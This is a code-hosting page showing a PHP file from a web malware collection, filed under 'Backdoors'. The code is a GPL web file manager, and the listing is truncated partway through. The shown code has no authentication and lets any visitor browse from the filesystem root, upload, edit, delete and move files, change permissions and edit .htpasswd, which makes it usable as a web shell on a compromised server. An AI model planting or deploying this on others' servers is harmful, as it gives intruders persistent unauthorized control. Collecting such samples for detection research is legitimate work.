PageRenderTime 32ms CodeModel.GetById 22ms RepoModel.GetById 1ms app.codeStats 0ms

/Backdoors/PHP/Private-i3lue.php

http://web-malware-collection.googlecode.com/
PHP | 1456 lines | 1315 code | 66 blank | 75 comment | 357 complexity | 17f19699f2eeb270a04110b0a7683565 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. /*
  3. * webadmin.php - a simple Web-based file manager
  4. * Copyright (C) 2002 Daniel Wacker <mail@wacker-welt.de>
  5. *
  6. * This program is free software; you can redistribute it and/or modify
  7. * it under the terms of the GNU General Public License as published by
  8. * the Free Software Foundation; either version 2 of the License, or
  9. * (at your option) any later version.
  10. *
  11. * This program is distributed in the hope that it will be useful,
  12. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. * GNU General Public License for more details.
  15. *
  16. * You should have received a copy of the GNU General Public License
  17. * along with this program; if not, write to the Free Software
  18. * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  19. *
  20. /* ------------------------------------------------------------------------- */
  21. /* Select your language:
  22. * 'en' - English
  23. * 'de' - German
  24. * 'cz' - Czech
  25. * 'it' - Italian
  26. */
  27. $language = 'en';
  28. /* This directory is shown when you start webadmin.php.
  29. * For example: './' would be the current directory.
  30. */
  31. $homedir = './';
  32. /* This sets the root directory of the treeview.
  33. * Set it to '/' to see the whole filesystem.
  34. */
  35. $treeroot = '/';
  36. /* When you create a directory, its permission is set to this octal value.
  37. * For example: 0705 would be 'drwx---r-x'.
  38. */
  39. $dirpermission = 0705;
  40. /* Uncomment the following line to enable this feature (remove #):
  41. * When you create a file, its permission is set to this octal value.
  42. * For example: 0644 would be 'drwxr--r--'.
  43. */
  44. # $newfilepermission = 0666;
  45. /* Uncomment the following line to enable this feature (remove #):
  46. * When you upload a file, its permission is set to this octal value.
  47. * For example: 0644 would be 'drwxr--r--'.
  48. */
  49. # $uploadedfilepermission = 0666;
  50. /* The size of the file edit textarea
  51. */
  52. $editrows = 20;
  53. $editcols = 70;
  54. /* ------------------------------------------------------------------------- */
  55. $self = htmlentities(basename($_SERVER['PHP_SELF']));
  56. $homedir = relpathtoabspath($homedir, getcwd());
  57. $treeroot = relpathtoabspath($treeroot, getcwd());
  58. $words = getwords($language);
  59. /* If PHP added any slashes, strip them */
  60. if (ini_get('magic_quotes_gpc')) {
  61. array_walk($_GET, 'strip');
  62. array_walk($_POST, 'strip');
  63. array_walk($_REQUEST, 'strip');
  64. }
  65. /* Return Images */
  66. if (isset($_GET['imageid'])) {
  67. header('Content-Type: image/gif');
  68. echo(getimage($_GET['imageid']));
  69. exit;
  70. }
  71. /* Initialize session */
  72. ini_set('session.use_cookies', FALSE);
  73. ini_set('session.use_trans_sid', FALSE);
  74. session_name('id');
  75. session_start();
  76. /* Initialize dirlisting output */
  77. $error = $notice = '';
  78. $updatetreeview = FALSE;
  79. /* Handle treeview requests */
  80. if (isset($_REQUEST['action'])) {
  81. switch ($_REQUEST['action']) {
  82. case 'treeon':
  83. $_SESSION['tree'] = array();
  84. $_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot);
  85. tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot);
  86. frameset();
  87. exit;
  88. case 'treeoff':
  89. $_SESSION['tree'] = NULL;
  90. $_SESSION['hassubdirs'] = NULL;
  91. dirlisting();
  92. exit;
  93. }
  94. }
  95. /* Set current directory */
  96. if (!isset($_SESSION['dir'])) {
  97. $_SESSION['dir'] = $homedir;
  98. $updatetreeview = TRUE;
  99. }
  100. if (!empty($_REQUEST['dir'])) {
  101. $newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']);
  102. /* If the requested directory is a file, show the file */
  103. if (@is_file($newdir) && @is_readable($newdir)) {
  104. /* if (@is_writable($newdir)) {
  105. $_REQUEST['edit'] = $newdir;
  106. } else */ if (is_script($newdir)) {
  107. $_GET['showh'] = $newdir;
  108. } else {
  109. $_GET['show'] = $newdir;
  110. }
  111. } elseif ($_SESSION['dir'] != $newdir) {
  112. $_SESSION['dir'] = $newdir;
  113. $updatetreeview = TRUE;
  114. }
  115. }
  116. /* Show a file */
  117. if (!empty($_GET['show'])) {
  118. $show = relpathtoabspath($_GET['show'], $_SESSION['dir']);
  119. if (!show($show)) {
  120. $error= buildphrase('&quot;<b>' . htmlentities($show) . '</b>&quot;', $words['cantbeshown']);
  121. } else {
  122. exit;
  123. }
  124. }
  125. /* Show a file syntax highlighted */
  126. if (!empty($_GET['showh'])) {
  127. $showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']);
  128. if (!show_highlight($showh)) {
  129. $error = buildphrase('&quot;<b>' . htmlentities($showh) . '</b>&quot;', $words['cantbeshown']);
  130. } else {
  131. exit;
  132. }
  133. }
  134. /* Upload file */
  135. if (isset($_FILES['upload'])) {
  136. $file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']);
  137. if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) {
  138. $notice = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['uploaded']);
  139. } else {
  140. $error = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['notuploaded']);
  141. }
  142. }
  143. /* Create file */
  144. if (!empty($_GET['create']) && $_GET['type'] == 'file') {
  145. $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
  146. if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1);
  147. if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) {
  148. $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
  149. $_REQUEST['edit'] = $file;
  150. } else {
  151. $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
  152. }
  153. }
  154. /* Create directory */
  155. if (!empty($_GET['create']) && $_GET['type'] == 'dir') {
  156. $file = relpathtoabspath($_GET['create'], $_SESSION['dir']);
  157. if (is_free($file) && @mkdir($file, $dirpermission)) {
  158. $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']);
  159. $updatetreeview = TRUE;
  160. if (!empty($_SESSION['tree'])) {
  161. $file = spath(dirname($file));
  162. $_SESSION['hassubdirs'][$file] = TRUE;
  163. tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file);
  164. }
  165. } else {
  166. $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']);
  167. }
  168. }
  169. /* Ask symlink target */
  170. if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) {
  171. $symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']);
  172. html_header($words['createsymlink']);
  173. ?>
  174. <form action="<?php echo($self); ?>" method="get">
  175. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  176. <input type="hidden" name="symlinktarget" value="<?php echo(htmlentities($_GET['symlinktarget'])); ?>">
  177. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  178. <table border="0" cellspacing="1" cellpadding="4">
  179. <tr>
  180. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  181. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  182. </tr>
  183. <tr>
  184. <td colspan="2" bgcolor="#EEEEEE">
  185. <table border="0">
  186. <tr>
  187. <td valign="top"><?php echo($words['target']); ?>:&nbsp;</td>
  188. <td>
  189. <b><?php echo(htmlentities($_GET['symlinktarget'])); ?></b><br>
  190. <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked>
  191. <label for="checkbox_relative"><?php echo($words['reltarget']); ?></label>
  192. </td>
  193. </tr>
  194. <tr>
  195. <td><?php echo($words['symlink']); ?>:&nbsp;</td>
  196. <td><input type="text" name="symlink" value="<?php echo(htmlentities(spath(dirname($symlinktarget)))); ?>" size="<?php $size = strlen($_GET['symlinktarget']) + 9; if ($size < 30) $size = 30; echo($size); ?>"></td>
  197. </tr>
  198. <tr>
  199. <td>&nbsp;</td>
  200. <td><input type="submit" value="<?php echo($words['create']); ?>"></td>
  201. </tr>
  202. </table>
  203. </td>
  204. </tr>
  205. </table>
  206. </td></tr></table>
  207. </form>
  208. <?php
  209. html_footer();
  210. exit;
  211. }
  212. /* Create symlink */
  213. if (!empty($_GET['symlink']) && !empty($_GET['symlinktarget'])) {
  214. $symlink = relpathtoabspath($_GET['symlink'], $_SESSION['dir']);
  215. $target = $_GET['symlinktarget'];
  216. if (@is_dir($symlink)) $symlink = spath($symlink) . basename($target);
  217. if ($symlink == $target) {
  218. $error = buildphrase(array('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', '&quot;<b>' . htmlentities($target) . '</b>&quot;'), $words['samefiles']);
  219. } else {
  220. if (@$_GET['relative'] == 'yes') {
  221. $target = abspathtorelpath(dirname($symlink), $target);
  222. } else {
  223. $target = $_GET['symlinktarget'];
  224. }
  225. if (is_free($symlink) && @symlink($target, $symlink)) {
  226. $notice = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['created']);
  227. } else {
  228. $error = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['notcreated']);
  229. }
  230. }
  231. }
  232. /* Delete file */
  233. if (!empty($_GET['delete'])) {
  234. $delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']);
  235. if (@$_GET['sure'] == 'TRUE') {
  236. if (remove($delete)) {
  237. $notice = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['deleted']);
  238. } else {
  239. $error = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['notdeleted']);
  240. }
  241. } else {
  242. html_header($words['delete']);
  243. ?>
  244. <p>
  245. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  246. <table border="0" cellspacing="1" cellpadding="4">
  247. <tr>
  248. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  249. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  250. </tr>
  251. <tr>
  252. <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['suredelete'])); ?></td>
  253. </tr>
  254. <tr>
  255. <td colspan="2" align="center" bgcolor="#EEEEEE">
  256. <a href="<?php echo("$self?" . SID . '&delete=' . urlencode($delete) . '&sure=TRUE'); ?>">[ <?php echo($words['yes']); ?> ]</a>
  257. </td>
  258. </tr>
  259. </table>
  260. </td></tr></table>
  261. </p>
  262. <?php
  263. html_footer();
  264. exit;
  265. }
  266. }
  267. /* Change permission */
  268. if (!empty($_GET['permission'])) {
  269. $permission = relpathtoabspath($_GET['permission'], $_SESSION['dir']);
  270. if ($p = @fileperms($permission)) {
  271. if (!empty($_GET['set'])) {
  272. $p = 0;
  273. if (isset($_GET['ur'])) $p |= 0400; if (isset($_GET['uw'])) $p |= 0200; if (isset($_GET['ux'])) $p |= 0100;
  274. if (isset($_GET['gr'])) $p |= 0040; if (isset($_GET['gw'])) $p |= 0020; if (isset($_GET['gx'])) $p |= 0010;
  275. if (isset($_GET['or'])) $p |= 0004; if (isset($_GET['ow'])) $p |= 0002; if (isset($_GET['ox'])) $p |= 0001;
  276. if (@chmod($_GET['permission'], $p)) {
  277. $notice = buildphrase(array('&quot<b>' . htmlentities($permission) . '</b>&quot;', '&quot;<b>' . substr(octtostr("0$p"), 1) . '</b>&quot; (<b>' . decoct($p) . '</b>)'), $words['permsset']);
  278. } else {
  279. $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
  280. }
  281. } else {
  282. html_header($words['permission']);
  283. ?>
  284. <form action="<?php echo($self); ?>" method="get">
  285. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  286. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  287. <table border="0" cellspacing="1" cellpadding="4">
  288. <tr>
  289. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  290. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  291. </tr>
  292. <tr>
  293. <td bgcolor="#EEEEEE" colspan="2">
  294. <table>
  295. <tr>
  296. <td><?php echo($words['file']); ?>:</td>
  297. <td><input type="text" name="permission" value="<?php echo(htmlentities($permission)); ?>" size="<?php echo(textfieldsize($permission)); ?>"></td>
  298. <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
  299. </tr>
  300. <tr>
  301. <td valign="top">
  302. <?php echo($words['permission']); ?>:&nbsp;
  303. </form><form action="<?php echo($self); ?>" method="get">
  304. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  305. <input type="hidden" name="permission" value="<?php echo(htmlentities($permission)); ?>">
  306. <input type="hidden" name="set" value="TRUE">
  307. </td>
  308. <td colspan="2">
  309. <table border="0">
  310. <tr>
  311. <td>&nbsp;</td>
  312. <td><?php echo($words['owner']); ?></td>
  313. <td><?php echo($words['group']); ?></td>
  314. <td><?php echo($words['other']); ?></td>
  315. </tr>
  316. <tr>
  317. <td><?php echo($words['read']); ?>:</td>
  318. <td align="center"><input type="checkbox" name="ur" value="1"<?php if ($p & 00400) echo(' checked'); ?>></td>
  319. <td align="center"><input type="checkbox" name="gr" value="1"<?php if ($p & 00040) echo(' checked'); ?>></td>
  320. <td align="center"><input type="checkbox" name="or" value="1"<?php if ($p & 00004) echo(' checked'); ?>></td>
  321. </tr>
  322. <tr>
  323. <td><?php echo($words['write']); ?>:</td>
  324. <td align="center"><input type="checkbox" name="uw" value="1"<?php if ($p & 00200) echo(' checked'); ?>></td>
  325. <td align="center"><input type="checkbox" name="gw" value="1"<?php if ($p & 00020) echo(' checked'); ?>></td>
  326. <td align="center"><input type="checkbox" name="ow" value="1"<?php if ($p & 00002) echo(' checked'); ?>></td>
  327. </tr>
  328. <tr>
  329. <td><?php echo($words['exec']); ?>:</td>
  330. <td align="center"><input type="checkbox" name="ux" value="1"<?php if ($p & 00100) echo(' checked'); ?>></td>
  331. <td align="center"><input type="checkbox" name="gx" value="1"<?php if ($p & 00010) echo(' checked'); ?>></td>
  332. <td align="center"><input type="checkbox" name="ox" value="1"<?php if ($p & 00001) echo(' checked'); ?>></td>
  333. </tr>
  334. </table>
  335. </td>
  336. </tr>
  337. <tr>
  338. <td>&nbsp;</td>
  339. <td colspan="2"><input type="submit" value="<?php echo($words['setperms']); ?>"></td>
  340. </tr>
  341. </table>
  342. </td>
  343. </tr>
  344. </table>
  345. </td></tr></table>
  346. </form>
  347. <?php
  348. html_footer();
  349. exit;
  350. }
  351. } else {
  352. $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']);
  353. }
  354. }
  355. /* Move file */
  356. if (!empty($_GET['move'])) {
  357. $move = relpathtoabspath($_GET['move'], $_SESSION['dir']);
  358. if (!empty($_GET['destination'])) {
  359. $destination = relpathtoabspath($_GET['destination'], dirname($move));
  360. if (@is_dir($destination)) $destination = spath($destination) . basename($move);
  361. if ($move == $destination) {
  362. $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
  363. } else {
  364. if (is_free($destination) && @rename($move, $destination)) {
  365. $notice = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['moved']);
  366. } else {
  367. $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notmoved']);
  368. }
  369. }
  370. } else {
  371. html_header($words['move']);
  372. ?>
  373. <form action="<?php echo($self); ?>" method="get">
  374. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  375. <input type="hidden" name="move" value="<?php echo(htmlentities($move)); ?>">
  376. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  377. <table border="0" cellspacing="1" cellpadding="4">
  378. <tr>
  379. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  380. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  381. </tr>
  382. <tr>
  383. <td colspan="2" bgcolor="#EEEEEE">
  384. <table border="0">
  385. <tr>
  386. <td><?php echo($words['file']); ?>:&nbsp;</td>
  387. <td><b><?php echo(htmlentities($move)); ?></b></td>
  388. </tr>
  389. <tr>
  390. <td><?php echo($words['moveto']); ?>:&nbsp;</td>
  391. <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($move)))); ?>" size="<?php echo(textfieldsize($move)); ?>"></td>
  392. </tr>
  393. <tr>
  394. <td>&nbsp;</td>
  395. <td><input type="submit" value="<?php echo($words['move']); ?>"></td>
  396. </tr>
  397. </table>
  398. </td>
  399. </tr>
  400. </table>
  401. </td></tr></table>
  402. </form>
  403. <?php
  404. html_footer();
  405. exit;
  406. }
  407. }
  408. /* Copy file */
  409. if (!empty($_GET['cpy'])) {
  410. $copy = relpathtoabspath($_GET['cpy'], $_SESSION['dir']);
  411. if (!empty($_GET['destination'])) {
  412. $destination = relpathtoabspath($_GET['destination'], dirname($copy));
  413. if (@is_dir($destination)) $destination = spath($destination) . basename($copy);
  414. if ($copy == $destination) {
  415. $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']);
  416. } else {
  417. if (is_free($destination) && @copy($copy, $destination)) {
  418. $notice = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['copied']);
  419. } else {
  420. $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notcopied']);
  421. }
  422. }
  423. } else {
  424. html_header($words['copy']);
  425. ?>
  426. <form action="<?php echo($self); ?>" method="get">
  427. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  428. <input type="hidden" name="cpy" value="<?php echo(htmlentities($copy)); ?>">
  429. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  430. <table border="0" cellspacing="1" cellpadding="4">
  431. <tr>
  432. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  433. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  434. </tr>
  435. <tr>
  436. <td colspan="2" bgcolor="#EEEEEE">
  437. <table border="0">
  438. <tr>
  439. <td><?php echo($words['file']); ?>:&nbsp;</td>
  440. <td><b><?php echo(htmlentities($copy)); ?></b></td>
  441. </tr>
  442. <tr>
  443. <td><?php echo($words['copyto']); ?>:&nbsp;</td>
  444. <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($copy)))); ?>" size="<?php echo(textfieldsize($copy)); ?>"></td>
  445. </tr>
  446. <tr>
  447. <td>&nbsp;</td>
  448. <td><input type="submit" value="<?php echo($words['copy']); ?>"></td>
  449. </tr>
  450. </table>
  451. </td>
  452. </tr>
  453. </table>
  454. </td></tr></table>
  455. </form>
  456. <?php
  457. html_footer();
  458. exit;
  459. }
  460. }
  461. /* Save edited file */
  462. if (!empty($_POST['edit']) && isset($_POST['save'])) {
  463. $edit = relpathtoabspath($_POST['edit'], $_SESSION['dir']);
  464. if ($f = @fopen($edit, 'w')) {
  465. /* write file without carriage returns */
  466. fwrite($f, str_replace("\r\n", "\n", $_POST['content']));
  467. fclose($f);
  468. $notice = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['saved']);
  469. } else {
  470. $error = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['notsaved']);
  471. }
  472. }
  473. /* Edit file */
  474. if (isset($_REQUEST['edit']) && !isset($_POST['save'])) {
  475. $file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']);
  476. if (@is_dir($file)) {
  477. /* If the requested file is a directory, show the directory */
  478. $_SESSION['dir'] = $file;
  479. $updatetreeview = TRUE;
  480. } else {
  481. if ($f = @fopen($file, 'r')) {
  482. html_header($words['edit']);
  483. ?>
  484. <form action="<?php echo($self); ?>" method="get">
  485. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  486. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  487. <table border="0" cellspacing="1" cellpadding="4">
  488. <tr>
  489. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  490. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  491. </tr>
  492. <tr>
  493. <td bgcolor="#EEEEEE" colspan="2">
  494. <table border="0" cellspacing="0" cellpadding="0">
  495. <tr>
  496. <td><?php echo($words['file']); ?>:&nbsp;</td>
  497. <td><input type="text" name="edit" value="<?php echo(htmlentities($file)); ?>" size="<?php echo(textfieldsize($file)); ?>">&nbsp;</td>
  498. <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
  499. </tr>
  500. </table>
  501. </td>
  502. </tr>
  503. </table>
  504. </td></tr></table>
  505. </form>
  506. <form action="<?php echo($self); ?>" method="post" name="f">
  507. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  508. <input type="hidden" name="edit" value="<?php echo(htmlentities($file)); ?>">
  509. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  510. <table border="0" cellspacing="1" cellpadding="4">
  511. <tr>
  512. <td bgcolor="#EEEEFF" align="center"><textarea name="content" rows="<?php echo($editrows); ?>" cols="<?php echo($editcols); ?>" wrap="off" style="background: #EEEEFF; border: none;"><?php
  513. if (isset($_POST['content'])) {
  514. echo(htmlentities($_POST['content']));
  515. if (isset($_POST['add']) && !empty($_POST['username']) && !empty($_POST['password'])) {
  516. echo("\n" . htmlentities($_POST['username'] . ':' . crypt($_POST['password'])));
  517. }
  518. } else {
  519. echo(htmlentities(fread($f, filesize($file))));
  520. }
  521. fclose($f);
  522. ?></textarea></td>
  523. </tr>
  524. <?php if (basename($file) == '.htpasswd') { /* specials with .htpasswd */ ?>
  525. <tr>
  526. <td bgcolor="#EEEEEE" align="center">
  527. <table border="0">
  528. <tr>
  529. <td><?php echo($words['username']); ?>:&nbsp;</td>
  530. <td><input type="text" name="username" size="15">&nbsp;</td>
  531. <td><?php echo($words['password']); ?>:&nbsp;</td>
  532. <td><input type="password" name="password" size="15">&nbsp;</td>
  533. <td><input type="submit" name="add" value="<?php echo($words['add']); ?>"></td>
  534. </tr>
  535. </table>
  536. </td>
  537. </tr>
  538. <?php } if (basename($file) == '.htaccess') { /* specials with .htaccess */ ?>
  539. <tr>
  540. <td bgcolor="#EEEEEE" align="center"><input type="button" value="<?php echo($words['addauth']); ?>"
  541. </tr>
  542. <?php } ?>
  543. <tr>
  544. <td bgcolor="#EEEEEE" align="center">
  545. <input type="button" value="<?php echo($words['reset']); ?>"
  546. <input type="button" value="<?php echo($words['clear']); ?>" '')">
  547. <input type="submit" name="save" value="<?php echo($words['save']); ?>">
  548. </td>
  549. </tr>
  550. </table>
  551. </td></tr></table>
  552. </form>
  553. <?php
  554. html_footer();
  555. exit;
  556. } else {
  557. $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot; ', $words['notopened']);
  558. }
  559. }
  560. }
  561. /* Show directory listing (and treeview) */
  562. if (!empty($_SESSION['tree'])) {
  563. if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') {
  564. treeview();
  565. } else {
  566. if (isset($_GET['noupdate'])) $updatetreeview = FALSE;
  567. dirlisting(TRUE);
  568. }
  569. } else {
  570. dirlisting();
  571. }
  572. /* ------------------------------------------------------------------------- */
  573. function strip (&$str) {
  574. $str = stripslashes($str);
  575. }
  576. function relpathtoabspath ($file, $dir) {
  577. $dir = spath($dir);
  578. if (substr($file, 0, 1) != '/') $file = $dir . $file;
  579. if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r;
  580. if (@is_dir($file) && !@is_link($file)) $file = spath($file);
  581. return $file;
  582. }
  583. function abspathtorelpath ($pos, $target) {
  584. $pos = spath($pos);
  585. $path = '';
  586. while ($pos != $target) {
  587. if ($pos == substr($target, 0, strlen($pos))) {
  588. $path .= substr($target, strlen($pos));
  589. break;
  590. } else {
  591. $path .= '../';
  592. $pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/'));
  593. }
  594. }
  595. return $path;
  596. }
  597. function is_script ($file) {
  598. return ereg('.php[3-4]?$', $file);
  599. }
  600. function spath ($path) {
  601. if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/';
  602. return $path;
  603. }
  604. function textfieldsize ($str) {
  605. $size = strlen($str) + 5;
  606. if ($size < 30) $size = 30;
  607. return $size;
  608. }
  609. function is_free ($file) {
  610. global $words;
  611. if (@file_exists($file) && empty($_GET['overwrite'])) {
  612. html_header($words['alreadyexists']);
  613. ?>
  614. <p>
  615. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  616. <table border="0" cellspacing="1" cellpadding="4">
  617. <tr>
  618. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  619. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  620. </tr>
  621. <tr>
  622. <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['overwrite'])); ?></td>
  623. </tr>
  624. <tr>
  625. <td colspan="2" align="center" bgcolor="#EEEEEE">
  626. <a href="<?php echo("{$_SERVER['REQUEST_URI']}&overwrite=yes"); ?>">[ <?php echo($words['yes']); ?> ]</a>
  627. </td>
  628. </tr>
  629. </table>
  630. </td></tr></table>
  631. </p>
  632. <?php
  633. html_footer();
  634. exit;
  635. }
  636. if (!empty($_GET['overwrite'])) {
  637. return remove($file);
  638. }
  639. return TRUE;
  640. }
  641. function remove ($file) {
  642. global $updatetreeview;
  643. if (@is_dir($file) && !@is_link($file)) {
  644. $error = FALSE;
  645. if ($p = @opendir($file = spath($file))) {
  646. while (($f = readdir($p)) !== FALSE)
  647. if ($f != '.' && $f != '..' && !remove($file . $f))
  648. $error = TRUE;
  649. }
  650. if ($error) $x = FALSE; else $x = @rmdir($file);
  651. $updatetreeview = TRUE;
  652. if ($x && !empty($_SESSION['tree'])) {
  653. $file = spath(dirname($file));
  654. $_SESSION['hassubdirs'][$file] = tree_hassubdirs($file);
  655. tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file, TRUE);
  656. }
  657. } else {
  658. $x = @unlink($file);
  659. }
  660. return $x;
  661. }
  662. function getwords ($language) {
  663. switch ($language) {
  664. case 'de':
  665. $words['dir'] = 'Verzeichnis'; $words['file'] = 'Datei';
  666. $words['filename'] = 'Dateiname'; $words['size'] = 'Gr&ouml;&szlig;e'; $words['permission'] = 'Rechte'; $words['functions'] = 'Funktionen';
  667. $words['owner'] = 'Eigner'; $words['group'] = 'Gruppe'; $words['other'] = 'Andere';
  668. $words['create'] = 'erstellen'; $words['copy'] = 'kopieren'; $words['copyto'] = 'kopieren nach'; $words['move'] = 'verschieben'; $words['moveto'] = 'verschieben nach'; $words['delete'] = 'l&ouml;schen'; $words['edit'] = 'editieren';
  669. $words['read'] = 'lesen'; $words['write'] = 'schreiben'; $words['exec'] = 'ausf&uuml;hren'; $words['change'] = 'wechseln'; $words['upload'] = 'hochladen'; $words['configure'] = 'konfigurieren';
  670. $words['yes'] = 'ja'; $words['no'] = 'nein';
  671. $words['back'] = 'zur&uuml;ck'; $words['setperms'] = 'Rechte setzen';
  672. $words['readingerror'] = 'Fehler beim Lesen von 1';
  673. $words['permsset'] = 'Die Rechte von 1 wurden auf 2 gesetzt.'; $words['permsnotset'] = 'Die Rechte von 1 konnten nicht gesetzt werden.';
  674. $words['uploaded'] = '1 wurde nach 2 hochgeladen.'; $words['notuploaded'] = '1 konnte nicht nach 2 hochgeladen werden.';
  675. $words['moved'] = '1 wurde nach 2 verschoben.'; $words['notmoved'] = '1 konnte nicht nach 2 verschoben werden.';
  676. $words['copied'] = '1 wurde nach 2 kopiert.'; $words['notcopied'] = '1 konnte nicht nach 2 kopiert werden.';
  677. $words['created'] = '1 wurde erstellt.'; $words['notcreated'] = '1 konnte nicht erstellt werden.';
  678. $words['deleted'] = '1 wurde gel&ouml;scht.'; $words['notdeleted'] = '1 konnte nicht gel&ouml;scht werden.'; $words['suredelete'] = '1 wirklich l&ouml;schen?';
  679. $words['saved'] = '1 wurde gespeichert.'; $words['notsaved'] = '1 konnte nicht gespeichert werden.';
  680. $words['reset'] = 'zur&uuml;cksetzen'; $words['clear'] = 'verwerfen'; $words['save'] = 'speichern';
